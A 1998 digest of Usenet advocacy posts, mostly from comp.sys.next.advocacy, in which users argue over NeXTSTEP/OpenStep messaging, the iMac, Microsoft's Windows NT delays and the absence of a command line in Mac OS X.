<6nda93$ln8$10@ns3.vrx.net> <359A896A.3805E57E@exu.ericsson.se>
<6ndi4u$ejq$1@ns3.vrx.net> <359A9A36.C215C64F@exu.ericsson.se>
<6nfl29$46q$1@ns3.vrx.net> <359BA018.8432F96A@nstar.net>
<6ngagb$vb53@onews.collins.rockwell.com> <359BD1BD.36CA316B@exu.ericsson.se> <6ng4m2$g0n$1@ns3.vrx.net>
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Maury Markowitz wrote:
> > Nothing new here.
>
> Balogna, in general programming circles this is TERRIBLY new, spawing whole
> industries like Java and CORBA. This is new. This is the key to the whole
> system.
"Nothing new here" means "you're not telling me anything new". Keep it
in mind.
> > Nothing new here.
>
> This is absolutely new, as your questions to me clearly demonstrated.
> Every time I said "you freeze out the message" you asked (100% of the time)
> "well, isn't that a callback?".
Every time you said "you freeze out the message" (100% of the time) you
were talking about point-and-click in Interface Builder. I didn't want
to embarass you, so I asked if you could specifically point out the
mechanism in use.
> No, it is not a callback. The GRAPHICAL
> OBJECTS can make METHOD CALLS directly. That is not a callback!
This is bullshit. The way Erik describes it, no, it's not a callback.
That's the answer I was looking for. All you're saying is, and I quote,
"THE GRAPHICAL OBJECTS can make METHOD CALLS directly." That may or may
not be a callback, you're not providing any substance whatsoever.
All you did was describe the way it looks from IB. From your
description, you could just as easily be using a signal/slot mechanism
whereby certain events cause messages to be emitted, and the object
doesn't have to know where the signal is going, what slot (or slots)
it's connected to, or what other objects are listening. A messaging
system? Sure, and it's done in C++. Signals and slots can be connected
and disconnected at runtime without recompilation.
No, it's not new, and it's not unique. It's not even that difficult to
understand. Which makes me wonder why I bothered walking this far with
you down Revelation Lane as you sputtered and stuttered your way here.
> > Finally, the answer I was looking for. A bit unspecific, unfortunately.
> > I've got some Objective C docs, though, so don't feel obliged.
>
> Well Mike, I've said this exact statement several days ago. I'm glad to
> see you finally found it.
Well, thanks.
> As I mentioned to Loren, I hestitate talking about how good it is because
> then people automatically assume we're full of crap. Nothing could possibly
> be that good, right? Well who's losing out if you don't try it? Sometimes
> the "ads" are actually correct.
Sometimes you should change the channel.
MJP
Date: Wed, 01 Jul 1998 08:22:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Message-ID: <joe.ragosta-0107980822560001@wil45.dol.net>
References: <358ff412.0@news.together.net> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com> <joe.ragosta-3006981531260001@wil32.dol.net> <6nbjmd$jj1@nntp02.primenet.com> <joe.ragosta-3006981716180001@wil40.dol.net> <6nc3d4$aqu$1@lwnws01.ne.highway1.com>
In article <6nc3d4$aqu$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Which destroys the "PCs have more choices" argument.
>
> > Which destroys the "PCs can use SCSI, too" argument.
>
> I've seen some hyperbolic advocacy before, but this is silly. Of
> course PCs have more choices. There are half a dozen fine SCSI
Sure, PCs have more choices. But the Wintel advocates here keep coming
back to the same few parts.
In the post you trimmed, the person said you should never use anything but
Soundblaster for sound and Adaptec for SCSI. Other posters have said the
same thing. Multiple posters have recommended sticking with the top few
video card vendors. If you agree with his statement, then the "choice" in
the PC world is irrelevant.
If you disagree with his statement, that's OK, too, but that makes him
wrong--so why are you jumping all over me for simply pointing out the
logical consequences of his statement?
> card makers that are all widely supported, and if you have a strong
> stomach there are probably dozens of fringe players. The same is
> true of video cards, sound cards, and various other components.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 01 Jul 1998 08:24:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac competition
Message-ID: <joe.ragosta-0107980824190001@wil45.dol.net>
References: <358ff412.0@news.together.net> <christian.bau-2506981717250001@christian-mac.isltd.insignia.com> <MPG.ffdf340b6f37cc989913@news.supernews.com> <6n1k2r$7ab@bgtnsc01.worldnet.att.net> <MPG.ffec649eff93973989918@news.supernews.com> <macghod-2706981236100001@1cust103.tnt1.santa-barbara.ca.da.uu.net> <MPG.fff3fde7dffca37989921@news.supernews.com> <Pine.NXT.3.96.980628130250.10515B-100000@pathos> <6n5vgo$6r2@nntp02.primenet.com> <slrn6pim5d.f80.sal@panix3.panix.com> <35998eeb.0@news.depaul.edu>
In article <35998eeb.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> I tend to avoid storefront 'screwdriver shops' too. Having
> relatively little business, they're more likely to play
> fast & loose, and over-charge. But there are mailorder places
> that serve the same function and seem to be more reliable. Less
> potential for salesman spiels, and easy access to product and
> reputation confirmation via websites.
>
> Some are starting to offer online system configuration
> with a selection of different motherboards, video cards, and
> other parts. The components are name brands like FIC,
> Tyan, Matrox, Diamond, Quantum, etc.
>
> Just yesterday I ordered a system like this for my father. They
> even called back to tell us the selected motherboard was out
> of stock, and they'd replace it for free with the model with
> twice as much L2 cache.
Careful. They may be 'out of stock' on some quality motherboard and
offering to replace it with some VX Pro model that's worthless, but cheap.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Memory protection question.
Date: Thu, 2 Jul 1998 16:43:09 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980702163457.25221A-100000@ux7.cso.uiuc.edu>
References: <19980628133235139765@lc345.zianet.com> <3596b427.0@news.together.net> <19980628173536272714@lc301.zianet.com> <macghod-2806982141560001@sdn-ar-001casbarp310.dialsprint.net> <19980629121710811448@lc184.zianet.com> <macghod-2906982347150001@sdn <6ngmsh$jd$1@vixen.cso.uiuc.edu> <MPG.1005b656f7d97411989775@nntp.news.netcom.net>
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In-Reply-To: <MPG.1005b656f7d97411989775@nntp.news.netcom.net>
On Thu, 2 Jul 1998, FlyingDog wrote:
> In article <6ngmsh$jd$1@vixen.cso.uiuc.edu>, gcheng@uni.uiuc.edu says...
> >
> > Geez... the G3's only run Mac OS 8 and above, so a Type 11 error is not
> > possible on those machines...
> >
> I never said I got the "Error 11" on the G3. My bad. I should have
> seperated that comment as a general rant about Macs and not the G3
> machine in particular (although it still doesn't work right). Either way,
> from my understanding an Error 11 is an unknown error: it could be
> harware or software in origin. This doesn't exist in OS 8? I don't recall
> seeing it recently, but I'm not at the Macs everyday....
I think it might still be possible to get a Type 11, but the most common
situations where you got a Type 11 before either don't generate any error
(ie. whatever it was has been fixed) or now they generate a non-fatal (to
the system) Type 1 or Type 2 error. The app quits and everything else
(most of the time) runs merrily along. The Mac OS recommends that you
save all your work and restart for those two errors, but I find it is
very rarely a problem. I think my last software related system crash was
back in early Februrary.
There were mulitple causes for Type 11. Errors that before were trapped
under Type 11 are now trapped to their more appropriate errors, and at
least some of the problems that caused the Type 11s have been fixed.
I have not seen a single Type 11 error since Mac OS 8.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 1 Jul 1998 07:40:02 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ndho2$1n7@nntp02.primenet.com>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl>
<trev-3006981959000001@nas-p5.usc.net>
Trevor Zion Bauknight <trev@sc.edu> wrote:
: The alternative, of course, is simply installing sh. That shouldn't be
: too difficult, even for you Unix people...
You are ignoring the obvious. A UNIX shell on an system does not make it
UNIX. I have the GNU toolchain installed on my NT boxes. Does that make
NT into UNIX? Does it erase the difference between NT Workstation and NT
server?
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: Thu, 2 Jul 1998 17:27:31 -0500
Message-ID: <359d096f.33622999@hydra>
From: brother@trinity.mensa.net (Identity Withheld)
Subject: Re: ISP's run NT? Hogwash!
References: <6ndql0$a7u$4@bertrand.ccs.carleton.ca> <359a800f.17939822@hydra> <6nghrj$ep0$2@bertrand.ccs.carleton.ca>
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On Thu, 2 Jul 1998 13:00:19 -0500 , dfs@doe.carleton.ca (David F.
Skoll) wrote:
>In article <359a800f.17939822@hydra>, Identity Withheld
>(brother@trinity.mensa.net) wrote:
>
>> >AT&T claims Microsoft has not delivered something it agreed to deliver.
>> >I can't comment on this; presumably, neither can you unless you have
>> >inside information.
>
>> I keep reading right in these newsgroups about one superiority of Unix
>> being the source code is there. So AT&T has the source code and is now
>> bitching about... what?
>
>In what I've read, AT&T claims MS is withholding source code to
>the latest version of NT. Again, I can't comment on the validity
>of this claim, and neither can you -- it will come out in
>the courts.
Actually, yes I can comment on it. But I can't cite my references
without landing in court myself.
>I'd note that AT&T or anyone else would have
>no such hassles if they needed Linux source code.
They have the source.
>> >A 1998 TV is substantially the same as a 1992 TV. I'd only buy a
>> >new TV if my old one dies.
>
>> My '97 Mitsubishi 35" is *substantially* different from my Sony 25" of
>> 1992 in much more than size of the screen. Seriously, do you think
>> before posting, or do you go on automatic argue-mode?
>
>I guess some things aren't important to me. Most TV shows are
>trash, whether viewed on my 14" 1985 TV or your 35" 1997 TV. Given
>the quality of the shows, I see no compelling reason to buy a better TV.
Movies, Nintendo...
>> >Buying a new car really *is* irrational. It's a financial blunder
>> >of the largest proportion. I'm glad others buy new cars so I can
>> >buy used. :-)
>
>> The context of the discussion has little to do with cost.
>
>On the contrary, it does. Saving money is a rational business decision
>to buy something. Buying something because you like its smell
>or because it is heavily promoted in trade magazines is not a
>rational business decision.
True. Kinda shoots a hole in the "linux is better, cuz, well, it's
better!" argument I see here all the time.
>> >It's worth buying new things *if* they're better than the old things.
>> >It's irrational to buy a new OS which is (a) not as good as the "old"
>> >OS, (b) proprietary and (c) being 80% rewritten with attendant delays,
>> >foul-ups and bug introductions.
>
>> <shrug> 'Bout time you get to the point. Regardless, there are lots of
>> folks successfully running NT in a variety of applications and
>> scenarios.
>
>So what? If you work hard enough, you can probably run on DOS. But is
>it the easiest or most cost-effective?
Those companies that are doing it think so. It's their pocketbook and
they're happy.
>> Keep in mind that newspapers never print anything that is
>> good news. That goes for the media in general and especially applies
>> to advocates.
>
>Over-simplification. I can dig up dozens of "good news"
>stories in newspapers and magazines. Magazines with
>heavy MS advertising have a curiously large proportion
>of "good news" stories about Microsoft.
More properly, one can apply the 80/20 rule to just about anything.
Such as 80% percent of reports account for 20% of the problems. Or 80%
of the successes account for 20% of the media coverage.
Good news doens't sell. Or fill newsgroups....
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 1 Jul 1998 12:28:10 -0700
Organization: Pacific Bell Internet Services
Message-ID: <6ne2sp$ev7$1@nnrp3.snfc21.pbi.net>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net>
Michael Peck wrote in message <3599AE58.5E54D75E@nstar.net>...
>*All* PCs have slots. I guess this gives them all the same specs. Come
>to think of it, all automobiles have wheels. This is a real drag on the
>high-end, which can't offer anything to justify high margins, eh?
Not all PCs have slots. And some lower-end PCs have slots, but all of
the slots are populated.
>Or maybe there are certain things that buyers recognize as *good* and
>*necessary*...
Things are different with the Macintosh. I have owned 4 Macintosh
systems with slots, and only twice have I ever plugged anything into
a slot--on a Macintosh II, where video was not built in, and on a
Quadra 700, where I was working on software for a digital capture
card for some client. That means out of 16 slots, only two have
*ever* been populated.
In the PC world, slots are necessary--where is the video or game
or modem card going to go? But in the Macintosh world these things
are on the mother board, and 99% of the time end users don't need
anything else.
>> >wants Apple to ship the Rainbow of Fruit Computers, fine, do it. I'm
>> >actually after picking a smart color and sticking with it, instead of
>>
>> I think a *choice* of colors would be cool. Why would picking one color
>> be better than offering a choice?
>
>Like I said, if people want it, people should have it. I didn't say
>anything about limiting *anybody's* choice, now, did I? As it is, I'm
>the one without a choice, since the only choice of color on the iMac is
>Baby Blue, named after Apple's perception of the prospective customer.
Poor baby--Apple announces *one* product, it hasn't even shipped yet,
and yet your choices as a consumer have somehow become severely
limited.
So how many cards do you have plugged into your Macintosh? You
probably have one of those expander chassies in order to plug in
another 6 cards into your system, right?
Crawl out of your "cyberlayer" and take a look around. There are
several different types of consumers out there, not just one. And
while I may find the new VW Beetle a beautiful and well engineered
car, you may find it a small, confining piece of junk.
If you don't like the iMac, don't buy the damned thing! Or do you
find the fact that you can't expand a machine you wouldn't want to
buy anyways "limiting your choices as a consumer?" *sigh*
Should I complain because Porsche's new Boxster doesn't have
VW's fuel efficient desiel? After all, they are the same company.
And wouldn't it be KeWl to be able to get 60 miles to the gallon
in a Boxster? (Or do you realize how *stupid* that last paragraph
sounds?)
>> >> Ever been to Toys-R-Us? Kids make a lot of buying choices there...
>> >Maybe Apple could actually sell the iMac there, too. It's the most
>> >appropriate place I can think of...
>>
>> Sure. Stick it next to the PlayStations and Gameboys. Set up a demo that
>> shows games/internet access/edu-tainment software.
>
>Hail Apple, King of the Consoles. The Swiss Army Toy. This is why I've
>always been such a fan of the Macintosh: it gives so many reasons to
>spend money on junk. Don't spend $200 on a game-machine, spend $1300 on
>a game machine.
Troll? Or just sarcasm to hide ignorance? Time will tell...
- Bill
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Microsoft Delays Win NT
Date: Wed, 01 Jul 1998 12:41:45 -0700
Organization: Digital Universe Corporation
Message-ID: <359A90F9.A546707D@alum.mit.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 1 Jul 1998 19:43:48 GMT
http://cnnfn.com/digitaljam/9807/01/microsoft
"The company declined to report when it expects the final product to be
available, though some analysts reportedly believe it could delay shipment for
three to six months."
Hey, Dr. Mankiw (of Harvard, the guy with the famous D.O.J. Windows 98 delay
quote):
I'm wondering if you think Microsoft's dealy will "throw sand into the gears of
human progress."?!?!
- Eric
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Wed, 01 Jul 1998 14:51:53 -0500
Organization: Ericsson North America Inc.
Message-ID: <359A9359.984C1A9D@exu.ericsson.se>
References: <359A90F9.A546707D@alum.mit.edu>
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Eric Hermanson wrote:
>
> http://cnnfn.com/digitaljam/9807/01/microsoft
>
> "The company declined to report when it expects the final product to be
> available, though some analysts reportedly believe it could delay shipment for
> three to six months."
>
> Hey, Dr. Mankiw (of Harvard, the guy with the famous D.O.J. Windows 98 delay
> quote):
>
> I'm wondering if you think Microsoft's dealy will "throw sand into the gears of
> human progress."?!?!
Seeing as how Dr. Mankiw's quote was in reference to US government
intervention, not software product delays, I somehow doubt that he would
agree. You might want to go read his statement yourself, instead of
quoting from a (contextless) quote (especially an incomplete sentence).
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <cdoutyEvFMvv.4rr@netcom.com>
Organization: Netcom
References: <6n6a2e$21s$1@news.cmc.net> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6nbf6s$p94$1@nnrp1.dejanews.com>
Date: Wed, 1 Jul 1998 20:14:19 GMT
Sender: cdouty@netcom12.netcom.com
In article <6nbf6s$p94$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>In article <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de>,
> schuerig@acm.org (Michael Schuerig) wrote:
>
>> Think of OpenUp -- would it
>> have been possible without a standard Unix installation in the basement?
>
>I don't know that basement won't be present. The shell should have nothing to
>do with the installed utilities and the implementation of system(...) or
>whatever OpenUp uses.
Umm. I haven't read the OpenUp sources, but system() exec()s a "/bin/sh
-c <commandline>" to actually do the work. Clearly there can be other
commandline interpreters substituted on systems which do not have the
Bourne shell. I think the SVR4 uses "/usr/bin/ksh" for example, but
that's still a shell.
Also the OpenSeasame.app (renamed in RDR2) uses "su -c <application> for
the "Open as root" service. Yet another case of Unix commandline utils
being used from the GUI. Other mechanisms might be possible (and
OpenSeaseme is a hack) but why break things that work well?
I find it hard to keep from devolving into expletives when talking about
the "plans" for MacOS X.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Wed, 01 Jul 1998 13:18:11 -0700
Organization: Digital Universe Corporation
Message-ID: <359A9983.C5049BFB@alum.mit.edu>
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se>
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Michael Peck wrote:
> Eric Hermanson wrote:
> >
> > http://cnnfn.com/digitaljam/9807/01/microsoft
> >
> > "The company declined to report when it expects the final product to be
> > available, though some analysts reportedly believe it could delay shipment for
> > three to six months."
> >
> > Hey, Dr. Mankiw (of Harvard, the guy with the famous D.O.J. Windows 98 delay
> > quote):
> >
> > I'm wondering if you think Microsoft's dealy will "throw sand into the gears of
> > human progress."?!?!
>
> Seeing as how Dr. Mankiw's quote was in reference to US government
> intervention, not software product delays, I somehow doubt that he would
> agree. You might want to go read his statement yourself, instead of
> quoting from a (contextless) quote (especially an incomplete sentence).
Mankiw, and many other "distinguished" individuals, inferred that the delay of
Windows 98 would cause irreversable harm to the economy and to human progress since
so many people "depended" on the operating system being released on time. The issue
was not who was delaying the product, but rather the delay itself. If the DOJ
stepped in and merely fined Microsoft, for instance, nobody would have stepped in at
their defense. It is therefore, in my opinion, highly hypocritical that these same
Microsoft supporters say nothing when Microsoft continually pre-announces products in
an anti-competitive fashion in order to secure marketshare, only to delay the product
several months, and even years, because their initial ship dates were outrageously
unreasonable.
Eric
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 1 Jul 1998 20:13:20 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ne590$238@shelob.afs.com>
References: <359A9359.984C1A9D@exu.ericsson.se>
Michael Peck <eusmpec@exu.ericsson.se> writes
> Eric Hermanson wrote:
> > Hey, Dr. Mankiw (of Harvard, the guy with the famous D.O.J. Windows 98
> > delay quote):
> >
> > I'm wondering if you think Microsoft's dealy will "throw sand into the
> > gears of human progress."?!?!
>
> Seeing as how Dr. Mankiw's quote was in reference to US government
> intervention, not software product delays, I somehow doubt that he would
> agree. You might want to go read his statement yourself, instead of
> quoting from a (contextless) quote (especially an incomplete sentence).
I think Eric's sentiment was fair. The Harvard guy basically said that
not allowing Microsoft to release Win/98 when it wanted to could cause
economic dislocation, blah blah blah. So how is Microsoft continuing to
slip the schedule they keep promising everyone else -- and on which many
decisions have already been made -- NOT likely to cause problems to the
very same firms that have been relying on those promises?
If you have a history of shipping things on time, it is easy to cry foul
when an outside agency impedes you. But with Microsoft's dismal past
performance in meeting projected shipping dates, it rings hollow to claim
that slippages -- internal OR external -- will harm the nation's economy.
If that is the case, how much have they already cost us?
No, the real problem is that a long time ago, Microsoft realized that
their customers don't make them pay for slippages by pulling orders and
going elsewhere. Now there IS NO ELSEWHERE. What a friggin' surprise.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Wed, 01 Jul 1998 15:21:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <359A9A36.C215C64F@exu.ericsson.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net>
<6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
<6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
<6ncfe6$iti$1@lwnws01.ne.highway1.com> <3599CE93.4E70D0C1@nstar.net>
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Maury Markowitz wrote:
>
> In <359A896A.3805E57E@exu.ericsson.se> Michael Peck claimed:
> > Are you trying to say that objects are allowed to dispatch their own
> > events?
>
> Oh, you didn't know that? Keep in mind the concept of "events" is
> considerably different under OpenStep. In fact it's one of it's coolest
> "features", one where coming from a Mac (or Win) programming background
> hurts.
No, you misunderstand. Every system *besides* MacOS allows objects to
dispatch their own events. It's just not novel that NEXTSTEP does it. I
was asking the question to be sure I understood your point. I'm sorry to
be obtuse.
> Under the MacOS you have two radically different systems for sending
> messages. One is the runtime itself, which handles method calls and such
> inside your program. This is sort of the "natrual" system for languages and
> calls. The other is the event system, which collects messages from the
> system and passes them into your app, typically via the event loop.
Right. If you were using straight Xlib, for instance, you would be doing
exactly the same thing: processing events from a queue in a tight loop.
MacOS is about as intelligent about events as the bare X protocol
itself.
With a widget framework, which is available everywhere else (including
within Xt-based toolkits, Qt, GTK, MFC, and Java), you define event
handlers within the objects themselves, or provide a mechanism whereby
event handlers can be tied to placeholders.
> Not so under OpenStep, where all messaging is handled by the first of the
> two systems above. Event handing instead consists of method calls being
> placed in a queue. Yes, real honest to god method calls (refered to as
> "selectors") and added to a cue and then pulled out and sent off by the
> application. Since any object will accept any message, there's no logic to
> find the right object for the message, the event is sent to firstResponder
> and then it looks around until it gets handled.
Qt's event handlers are not dissimilar.
> That is, with IB alone I can write the program
> flow of my application - although not the logic.
I don't see the difference. You *can* define first-response widget
reactions, and if you carefully chain them you can even get your widgets
to dance around the screen with a single click. You *can't* define
logical behaviors.
> > It sounds like you're describing a callback mechanism.
>
> Nope, not at all. I say "when I'm clicked, tell the frontmost window to
> close", or "when the user selects me, add 10 to the number in this field".
> Much more HC like.
How do you attach this code to your object? Are you subclassing from the
original? If not, I'm at a loss as to how you are directing this
precompiled object to perform this code, unless you use callbacks.
MJP
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Date: 1 Jul 1998 21:32:57 GMT
Organization: Rockwell International
Message-ID: <6ne9u9$uhh4@onews.collins.rockwell.com>
References: <1dbgbrs.fq93gp1gfaaubN@quern.demon.co.uk> <1998070117211600.NAA21713@ladder03.news.aol.com>
<6ndtlc$gs3$3@cronkite.cygnus.com>
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Each application installed on an Openstep machine or accessible over the
network provides a list of extensions that the application supports as
documents. Each application is free to use directories with the correct
extension as documents and the file system does just what you want. The file
browser shows you the directory as a single file with the icon for the
application. See Draw as an example. Its documents are wrappers and it does
nothing special.
From: chris@prometheus (Christian Benesch)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
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Cc: devnull@occam.com
References: <6ng2mk$erb$1@news.cmc.net>
Message-ID: <359c1516.0@news.telekabel.at>
Date: 3 Jul 1998 01:17:42 +0100
Well, since BSD will be there as backend, how much "work" can it be to create
the actual interface?
I am thinking of just dragging an NSScrollView.
Take the bunch of free gnu utilities,recompile them if necessary - there you
go.
Christian Benesch
a9425689@unet.univie.ac.at
In <6ng2mk$erb$1@news.cmc.net> Leon von Stauber wrote:
> A couple more points come up when you lose the command line:
>
> 1) How do you run a system headless? Granted, it's not easy with
> NEXTSTEP and ilk, but it can be done, and then you'd still have
> full access to the system over the network. (Even to graphical
> apps, with NSHost.) Saves a lot of space in server rooms.
>
> 2) What if you need to boot single-user (or whatever you call
> "recovery mode")? What if your display settings are incorrect,
> and you boot into a black screen? Booting to the single-user CLI
> allows you to change the settings manually. There are other
> reasons you might need to, or does Apple plan to make this very
> occasional necessity a thing of the past somehow?
>
> And, of course, the big one already mentioned:
>
> 3) Full UNIX-like remote admin capabilities on every box.
>
> _______________________________________________________________
> Leon von Stauber http://www.occam.com/leonvs/
> Occam's Razor, Game Designer <com.occam@leonvs>
> Metapath Software, UNIX System Admin <com.metapath@lvonstau>
> "We have not come to save you, but you will not die in vain!"
>
>
From: craigm@blackie.gdi.net (Craig Morehouse)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 2 Jul 1998 02:58:03 GMT
Organization: Global Datalink, Inc.
Message-ID: <6nesvr$irr@news.gdi.net>
References: <6nekto$j0g4@odie.mcleod.net>
You GO, Girl!!!
I've supported and evangelized Macs for the last five years. Sold nearly
$7 million worth of them. Am Microsoft-free as well.
Yet, last year, I traded off an 8500/180 with 196 megs of RAM, a 2 gig
drive, a 4 gig drive, a 4MB accelerated video card, 21" Nanao monitor,
etc., to get a NeXT Color Turbo, 33 mhz, 32 MB RAM, 1 gig drive and 17"
Sony (black) monitor. I still have other Macs, but the Turbo is my main
machine totally by choice.
Watching OmniWeb crank on a USR 56K (V90) modem with Display Postscript to
the screen is just gorgeous. The experience just isn't describable. If I
didn't have a NeXT system, I doubt that I'd grasp it either. There's just
too much going on that has no Mac or Windows counterparts.
No discredit to Apple's machines, but frankly, after using the NeXT
machines, the Macs feel like kiddy cars.
Listen to Michelle and you'll begin to know why.
-Craig
+++
"Unfortunately, Microsoft neither stole anything from Microsoft, nor is
there
anything improper in getting marketshare from a competitor."
Yes, Windows fans actually say things like this. Sick, isn't it?
+++
In article <6nekto$j0g4@odie.mcleod.net> "Michelle L. Buck"
<buck.erik@mcleod.net> writes:
>
> Andy Bates wrote in message ...
> >In article <6n3g42$1nf$1@ndnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> >
> >> Michael Peck <mjpeck@nstar.net> wrote:
> >If it's any evidence, I have also found that your explanation of why
> >NextStep is superior to the Mac OS is lacking as well. You have been
unable
> >to come up with any cogent evidence, instead using terms like "paradigm
> >shift" and saying that you have to use it for months before you "get
it."
> >If you can't at least provide SOME objective evidence to support your
> >viewpoint, then your argument seems very weak indeed.
> >
> >And no, throwing abour insults like "your ignorance is your own
punishment"
> >doens't help your case either.
> >
> >Andy Bates.
>
> Left hand scrollers are demonstrably better
>
> Proportional scrollers are better
>
> Vertical movable menus use less screen space and are more easily read
>
> hide, quit, and print at the top level menu is better
>
> Tear off menus reduce need for tool bars
>
> Rare modal dialogs are better
>
> Resize, drag, and scroll WITH content saves time
>
> Window layers making floating panels possible, enables simpler GUIs,
and
> removes need for modal dialogs
>
> The standard page layout, print, font, color, find, and spelling panels
are
> better in NeXTstep and none of them are modal
>
> Features like find in content and Digital Librarian are very powerful
and
> have no ubiquitous equivalents in MacOS
>
> Drag and drop is more common and more powerful in NeXTstep
>
> Multiple pasteboards save a lot of time in NeXTstep
>
> Services are ubiquitous in NeXTstep and there is no equivalent in MacOS
>
> The ability to reposition or hide the windows of busy applications saves
a
> lot of time spent waiting in MacOS
>
> You never see a distracting window repaint in NeXTstep
>
> There are no inits in NeXTstep and there is no need
>
> The minimum text support in NeXtstep far exceeds the average in MacOS.
>
> Display Postscript, EPS, and Tiff with alpha make Quickdraw and gif, and
> PICT look like child's toys
>
> The Desktop metaphor in MacOS is just plain stupid and is not used like
a
> desktop in any way. It could be better described as the white board
> metaphor and it is no good at that either.
>
> Every application in NeXTstep is customizable to the extent of adding,
> removing, rearranging, and changing windows, menus, panels, images, etc.
>
> Built in support for plugins (bundles) means more applications use them
>
> Nibs and wrappers are a far superior solution to resource forks
>
> Multithreaded applications such as workspace and Librarian greatly
reduce
> time spent waiting
>
> In NeXTstep you never wait to print, everything and EVERY application
has
> print preview, and if you see it on screen you can print it without
> exceptions
>
> User accounts with individual preferences that follow the user to any
> machine on the network makes MacOS seem like a toy
>
> Ubiquitous built in remote display that is fast, device independent and
> flexible makes MacOS seem like a toy
> Some NeXTstep machines that are used every day to run graphics apps
don't
> even have a monitor thanks to remote display
>
> One click integration to existing UNIX networks makes MacOS seem like a
toy
>
> Icons are more expressive in NeXTstep
>
> Fonts on screen look better with NeXTstep
>
> I will add more if this is not enough
>
From: PC
Subject: Brand New 200MHZ PC's for less than $600. Includes Monitor.
